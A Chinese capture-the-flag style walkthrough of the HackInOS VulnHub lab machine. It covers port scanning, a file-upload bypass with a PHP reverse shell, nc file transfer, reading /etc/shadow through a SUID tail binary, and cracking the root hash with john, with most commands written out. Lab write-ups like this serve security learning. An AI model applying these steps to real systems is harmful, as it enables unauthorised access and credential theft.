实战打靶集锦-025-HackInOS

文章目录

  • 1. 主机发现
  • 2. 端口扫描
  • 3. 服务枚举
  • 4. 服务探查
  • 5. 提权
    • 5.1 枚举系统信息
    • 5.2 探索一下passwd
    • 5.3 枚举可执行文件
    • 5.4 查看capabilities位
    • 5.5 目录探索
    • 5.6 枚举定时任务
    • 5.7 Linpeas提权


靶机地址:https://download.vulnhub.com/hackinos/HackInOS.ova

1. 主机发现

目前只知道目标靶机在192.168.232.xx网段,通过如下的命令,看看这个网段上在线的主机。

$ nmap -sP 192.168.232.0/24

在这里插入图片描述
锁定目标靶机IP为192.168.232.145。

2. 端口扫描

通过下面的命令进行端口扫描。

$ sudo nmap -p 1-65535 192.168.232.145

在这里插入图片描述
暴露的端口不多,看来只能先从8000端口下手了。

3. 服务枚举

通过下面的命令进行服务枚举。

$ sudo nmap -p22,8000 -A -sT -sV 192.168.232.145

在这里插入图片描述

4. 服务探查

先通过浏览器访问一下8000端口看一下。
在这里插入图片描述
貌似是一个基于WoePress的Blog站点,不过比较有意思的是,所有的超链接都指向了localhost,就算我在kali上将localhost指向了靶机,还是无法访问,但是手工在浏览器里面将localhost修改成靶机IP地址就可以访问。就算修改了/etc/hosts也不会生效,不过手工ping这个localhost是可以跳转到我们的靶机地址的。
在这里插入图片描述
先用wpscan扫描一下再说吧。

$ wpscan --url http://192.168.232.145:8000/

在这里插入图片描述
扫出了一点东西,但是感觉价值没有那么高,先看看对应的robots文件。
在这里插入图片描述
进去看看。
在这里插入图片描述
upload.php页面可以上传突破文件,不过uploads目录不允许访问,估计是做了限制,不过这里应该是显示上传的文件的列表,试了一下确实可以上传成功,不过这里看不到。枚举一下目录吧。

$ dirsearch -u http://192.168.232.145:8000/

在这里插入图片描述
没有太特殊的内容发现,再用dirb挂载big字典看看。

$ dirb http://192.168.232.145:8000/ /usr/share/wordlists/dirb/big.txt -X .php

在这里插入图片描述
跟之前的扫描没啥区别,唯一多出来的一个/wp-trackback.php,里面也没有什么特殊内容,如下图。
在这里插入图片描述
果断放弃了,还是看看apache和wordpress有没有可用的EXP吧,遗憾的是也没有找到合适的。
回顾前面的操作,貌似大概率可能突破边界的地方还是上传文件的地方,回过头去再看看。
在这里插入图片描述
这个页面实在是简单的不能再简单了,上传一个图片文件和php脚本分别看看有啥反应。
在这里插入图片描述
没有太多的规律性,现在的关键是找到上传的内容去了哪里,先看看Submit按钮的源代码吧。
在这里插入图片描述
也没啥特殊的,不过最后的注释行里面有个git上的项目,看看这里面是否有我们需要的内容。
在这里插入图片描述
尤其是第二个,感觉就是这个靶机的一个打靶线索啊,竟然有这种好事,简直是救命稻草,进去看看。
在这里插入图片描述
这不是打靶的线索,是对于这个靶机的描述,还是看看README.md和upload.php两个文件吧。
在这里插入图片描述
果真是文件上传的逻辑,大致是在元文件名后面添加1~100的随机数,然后再计算MD5作为新文件名,文件上传到/uploads/目录下;如果上传的是图片文件(mime类型为image/png或者image/gif),返回“file uploaded xxx”如果是其它文件,返回“😃”,看来我们之前显示的“😃”都是因为上传失败了。
知道了这个大致逻辑,我们就可以尝试枚举我们上传后的文件的文件名了。思路如下:
先构建一个带有反弹shell的php文件,文件头添加GIF8以绕过文件类型检查,如下图。
在这里插入图片描述
然后这个文件名后面添加1~100的数字并计算出MD5作为新的文件名,将这些文件名写到一个文件里面作为字典,然后用dirb进行爆破,应该是可以爆破出上传文件的文件名。
我们的php文件如上图所示,然后分别将对应的文件名加上1~100,即revers1、revers2、revers3、revers4 …,然后将文件名计算MD5后放到文本文件中作为字典(用python脚本生成)。
在这里插入图片描述
生成的字典如上图所示,用于生成字典的脚本如下图所示。
在这里插入图片描述
接下来我们开始上传带有反弹shell的php脚本revers.php。
在这里插入图片描述
根据代码中的逻辑,上图所示的信息显示时,代表上传成功了,然后我们用dirb挂上前面产生的字典枚举一下看看。

$ dirb http://192.168.232.145:8000/uploads/ my_dict.txt

在这里插入图片描述
好奇怪,我上传了N次,不应该枚举出来是空的。不知道是不是我本地的revers.php文件和python脚本、my_dict.txt字典不在同一个目录的原因,将revers.php文件拷贝到跟my_dict.txt同一个目录下再试一遍,顺利被枚举出来了,如下图。
在这里插入图片描述
接下来,在kali上的4444端口上建立监听,然后手工访问一下上面的文件试试看。
在这里插入图片描述
访问不成功,反弹shell也没有建立,前面枚举出来的两个文件都是这样的问题。再回过头来看看刚才枚举出来的文件还在不在。
在这里插入图片描述
空了,可能服务器后台有对上传的文件进行定时清理的机制,在我磨蹭的过程中被清理掉了。这次先建立好监听,然后快速上传,枚举出来以后直接访问一下。
在这里插入图片描述
嗯,这次建立反弹shell成功了,不过浏览器访问上传的文件的时候,还是提示not found。

5. 提权

先优化一下shell。

$ whereis python
$ /usr/bin/python3.5 -c "import pty;pty.spawn('/bin/bash')"

在这里插入图片描述
这次看上去稍微正常一点了。

5.1 枚举系统信息

$ uname -a
$ cat /etc/*-release

在这里插入图片描述
是64位的Ubuntu 16.04.1。

5.2 探索一下passwd

$ cat /etc/passwd | grep -v nologin

在这里插入图片描述
从显示结果来看,除了root没有比较正常的用户可以通过shell登录。尝试写入一个用户。

$ openssl passwd test123

在这里插入图片描述

$ echo "testusr:$1$PR0EMvBa$Y6BsWQAQVRKB3ZfEnS1Ow0:0:0:root:/root:/bin/bash" >> /etc/passwd

在这里插入图片描述
没有权限。

5.3 枚举可执行文件

www-data@1afdd1f6b82c:/$ sudo -l

在这里插入图片描述
无法执行sudo。

www-data@1afdd1f6b82c:/home$ find / -user root -perm -4000 2>/dev/null

在这里插入图片描述
貌似没有可以用于提权的可执行文件。

5.4 查看capabilities位

www-data@1afdd1f6b82c:/home$ /usr/sbin/getcap -r / 2>/dev/null

在这里插入图片描述
没有合适的capabilities。

5.5 目录探索

先查看一下当前用户的家目录下都有些啥。

www-data@1afdd1f6b82c:/home$ cd ~/
www-data@1afdd1f6b82c:/home$ ls -lah

在这里插入图片描述
就是我们前面目录枚举是看到的内容,那个神奇的uploads目录也赫然在列,也没啥特殊的,还得用linpeas搞一下。

5.6 枚举定时任务

www-data@1afdd1f6b82c:/tmp$ cat /etc/crontab

在这里插入图片描述

5.7 Linpeas提权

在这里插入图片描述
嗯,靶机上竟然不能使用wget,看看有没有nc。
在这里插入图片描述
nc是可以的,通过nc上传linpeas.sh。
Kali主机:$ nc -lvnp 9999 < linpeas.sh
靶机上:$ nc 192.168.232.129 9999 > linpeas.sh
顺利传输成功。
在这里插入图片描述
运行一下。

www-data@1afdd1f6b82c:/home$ chmod u+x linpeas.sh
www-data@1afdd1f6b82c:/home$ sh linpeas.sh

可惜没看到有合适的提权提示,只有一个/usr/bin/tail(其实前面我们枚举可执行文件的时候就枚举出来了,不过不会用。。),如下图。
在这里插入图片描述
网上搜了半天,只找到了一篇文章,还不太会用。但是大致意思是通过具备SUID的命令可以临时获得对应文件的属主的权限?我们参照这篇文章(https://juggernaut-sec.com/suid-sgid-lpe/),用/etc/passwd文件试试看。
在这里插入图片描述
貌似没有我们想想的那么简单。不过按照上面的说法,我们是不是可以用tail想看啥文件就看啥文件?我们试试分别用cat和tail获取一下shadow文件的内容试试看。

www-data@1afdd1f6b82c:/tmp$ cat /etc/shadow
www-data@1afdd1f6b82c:/tmp$ /usr/bin/tail -c1G /etc/shadow

在这里插入图片描述
确实如上面的猜测,cat看不到shadow文件的内容,tail是可以的,并且在shadow中捞到了root用户的密码信息: 6 说明算法用的是 S H A − 512 ,中间的 6说明算法用的是SHA-512,中间的 6说明算法用的是SHA512,中间的qoj6/JJi是盐值,再往后才是密文。
手工看看能不能从中解析出真正的密码。

在这里插入图片描述
使用hash-identifier没有收获,再用john试试看。

$ echo '$6$qoj6/JJi$FQe/BZlfZV9VX8m0i25Suih5vi1S//OVNpd.PvEVYcL1bWSrF3XTVTF91n60yUuUMUcP65EgT8HfjLyjGHova/' > root_pass.txt
$ john root_pass.txt

在这里插入图片描述
难道这个john就算是root的密码了?直接切换到root用户试试看吧。
在这里插入图片描述
还真是这样子,第一次从shadow文件中解析密码,又学了一招,获取一下flag。
在这里插入图片描述
提权成功。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/695422.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

机器学习:训练模型后,发生了什么,最后得到什么

当你训练一个模型&#xff0c;尤其是在机器学习或深度学习的上下文中&#xff0c;实际上是在进行一系列计算和优化步骤&#xff0c;以便模型能够从提供的数据中学习。训练模型的过程大致如下&#xff1a; 1. 初始化模型参数 模型的参数&#xff08;如权重和偏置&#xff09;通…

【图片公式识别】图片公式转Word与LaTeX文档:智能识别与转换

前言 嘿&#xff0c;大家好呀&#xff01;&#x1f44b; 谁都知道&#xff0c;写 Word 文档里的公式可不是一件简单的事情&#xff01;你辛辛苦苦在键盘上敲出的数学公式&#xff0c;结果随着 Word 版本的更新&#xff0c;竟然变成了一张图片&#xff01;&#x1f624; 这简直就…

toFixed四舍五入

一、问题描述 3.145.toFixed(2) // 3.15 3.155.toFixed(2) // 3.15 3.1551.toFixed(2) // 3.16 3.1550000000000001.toFixed(2) // 3.16 3.15500000000000001.toFixed(2) // 3.15 二、原因分析&#xff1a…

板块一 Servlet编程:第八节 文件上传下载操作 来自【汤米尼克的JavaEE全套教程专栏】

板块一 Servlet编程&#xff1a;第八节 文件的上传下载操作 一、文件上传&#xff08;1&#xff09;前端内容&#xff08;2&#xff09;后端内容 二、文件下载&#xff08;1&#xff09;前端的超链接下载&#xff08;2&#xff09;后端下载 在之前的内容中我们终于结束了Servle…

Oracle 总结

Oracle常规命令 conn 用户/密码--客户端连接的命令 show user —显示当前登录的用户增删改查 增 insect into 表名(列名列表) values(值列表);删 删除符合条件数据 delete from EMP where ENAME ‘xxx’;删除所有EMP 所有数据 delete from EMP;截断表 truncate table EMP;注…

速盾网络:CDN节点无法读取您网站数据是什么意思

在使用CDN服务时&#xff0c;有时候可能会遇到提示&#xff1a;“CDN节点无法读取您网站数据”的情况&#xff0c;这意味着什么呢&#xff1f;让我们一起来解读速盾网络关于这个问题的解释。 意思解释&#xff1a; 当CDN节点无法读取您网站数据时&#xff0c;通常表示CDN节点…

Web应用程序的自动测试工具WebDriver简介

WebDriver 是一个开源的自动化测试工具&#xff0c;它提供了一套用于Web应用程序的自动化测试接口。通过这些接口&#xff0c;我们可以编写脚本来模拟用户的各种操作&#xff0c;如点击、拖拽、输入等&#xff0c;从而实现Web应用程序的自动化测试。 WebDriver 支持多种…

qtday2作业

思维导图 使用手动连接&#xff0c;将登录框中的取消按钮使用qt4版本的连接到自定义的槽函数中&#xff0c;在自定义的槽函数中调用关闭函数 将登录按钮使用qt5版本的连接到自定义的槽函数中&#xff0c;在槽函数中判断ui界面上输入的账号是否为"admin"&#xff0c;…

Linux搭建FISCO BCOS的第一个区块链网络

一、前言 FISCO BCOS是由金融区块链合作联盟&#xff08;深圳&#xff09;与微众银行共同发起的开源区块链项目&#xff0c;支持多链多账本&#xff0c;满足金融行业复杂业务需求。本文将介绍如何在Ubuntu操作系统上使用Linux命令搭建FISCO BCOS的第一个区块链网络。 目录 一…

K8S部署Java项目(Springboot项目)pod状态:CrashLoopBackOff

天行健&#xff0c;君子以自强不息&#xff1b;地势坤&#xff0c;君子以厚德载物。 每个人都有惰性&#xff0c;但不断学习是好好生活的根本&#xff0c;共勉&#xff01; 文章均为学习整理笔记&#xff0c;分享记录为主&#xff0c;如有错误请指正&#xff0c;共同学习进步。…

昇腾ACL应用开发之模型转换ATC

一.前提条件 在前面的章节中我们已经安装了包含模型转换的套件包CANN-TOOLKIT&#xff0c;默认的安装路径会在/usr/local/Ascend里面&#xff0c;我们将该套件所需要的东西加入到环境变量中以便我们调用&#xff1a; 将source /usr/local/Ascend/ascend-toolkit/set_env.sh加入…

人为物累,心为形役

一、人是什么 你是你&#xff0c;他是他&#xff0c;我是我&#xff0c;有什么区别吗&#xff0c;直到自我发现我与你不同时&#xff0c;不同是什么&#xff0c;身体结构&#xff1f;人生经历&#xff1f;所拥有的一切&#xff1f;暂时搁置这些的话&#xff0c;抽离我们的意识…

[ai笔记11] 论ai韭菜的自我修养

欢迎来到文思源想的ai空间&#xff0c;这是技术老兵学习ai以及观点分享的第11篇内容&#xff01; 上班之后时间确实少了许多&#xff0c;但是最近也没闲着&#xff0c;关于ai的学习一直在探索两个部分&#xff0c;一个是看那本有名的书《这就是ChatGPT》&#xff0c;另外一个则…

Gmail邮箱群发邮件的技巧?邮箱怎么绑定?

Gmail邮箱注册教程指南&#xff1f;如何注册新的Gmail邮箱帐户&#xff1f; Gmail邮箱作为谷歌推出的邮件服务&#xff0c;以其高效、稳定和便捷的特性受到广大用户的喜爱。然而&#xff0c;如何在Gmail中进行有效的群发邮件&#xff0c;接下来&#xff0c;蜂邮将给大家介绍一…

odoo16-API(Controller)带有验证访问的接口

odoo16-API&#xff08;Controller&#xff09;带有验证访问的接口 目前我使用odoo原生的登录token来验证登陆的有效性 废话不多说直接上代码 # 测试获取session_id import requests class GetOdooData(http.Controller):def getOdooToken(self):# http://localhost:8123访问…

objectMapper、ObjectNode、JsonNode调用接口时进行参数组装

objectMapper、ObjectNode、JsonNode用于调用接口时进行参数组装 public String sendText( List< String > listUser, String content ) throws JsonProcessingException{if ( listUser.size() < 0 ){return "用户ID为空&#xff01;";}if ( content.lengt…

【深入理解设计模式】 工厂设计模式

工厂设计模式 工厂设计模式是一种创建型设计模式&#xff0c;它提供了一种在不指定具体类的情况下创建对象的接口。在工厂设计模式中&#xff0c;我们定义一个创建对象的接口&#xff0c;让子类决定实例化哪一个类。工厂方法使一个类的实例化延迟到其子类。 工厂设计模式的目…

.Net Core_1_

从今天开始学习.Net Core的相关技术&#xff0c;我的文章内容基本出自B站杨中科老师的课程 .NET 6教程&#xff0c;.Net Core 2022视频教程&#xff0c;杨中科主讲_哔哩哔哩_bilibili 可以把这个系列文章看作是学习笔记&#xff0c;方便查阅和回顾 废话不多说&#xff0c;开…

part2 思维导图(微分部分)

1. 导数和微分 2. 一元微分学 2.1 四则运算 2.2 口诀 2.3 导数计算 2.3.1 计算1 2.3.1 计算2

RAID 创建使用以及ubuntu安装和使用zfs文件系统及Ubuntu软件安装

RAID 创建使用 部署 RAID 10 的学习 1. 搭建 RAID 10 就是 RAID 1 加上 RAID 0,准备四块磁盘&#xff0c;用于创建 RAID 10,配置vmware虚拟机&#xff0c;创建四个虚拟硬盘。 2. 检查磁盘信息 rootubuntu:~# ls /dev/sd* /dev/sda /dev/sda1 /dev/sda2 /dev/sda3 /dev/s…